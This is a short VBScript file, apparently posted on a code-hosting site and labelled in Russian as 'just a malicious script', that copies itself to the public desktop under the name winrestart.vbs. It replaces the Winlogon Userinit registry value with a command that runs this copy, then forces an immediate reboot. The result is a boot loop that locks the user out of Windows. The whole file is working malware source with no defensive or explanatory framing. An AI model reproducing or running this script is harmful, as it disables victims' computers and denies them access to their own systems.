19 lines
688 B
Text
19 lines
688 B
Text
' Просто вредоносный скрипт
|
|
' by DarkCat09
|
|
|
|
Dim Wsh, Fso
|
|
Set Wsh = CreateObject("WScript.Shell")
|
|
Set Fso = CreateObject("Scripting.FileSystemObject")
|
|
|
|
Dim sysdrive, sysdir
|
|
sysdrive = Fso.GetSpecialFolder(0).Drive
|
|
sysdir = Fso.GetSpecialFolder(1)
|
|
|
|
If Not Fso.FileExists(sysdrive & "\Users\Public\Desktop\winrestart.vbs") Then
|
|
Fso.CopyFile WScript.ScriptFullName, sysdrive & "\Users\Public\Desktop\winrestart.vbs"
|
|
End If
|
|
|
|
Wsh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", _
|
|
sysdir & "\wscript.exe " & sysdrive & "\Users\Public\Desktop\winrestart.vbs,", "REG_SZ"
|
|
|
|
Wsh.Run "shutdown /r /t 0", 1, False
|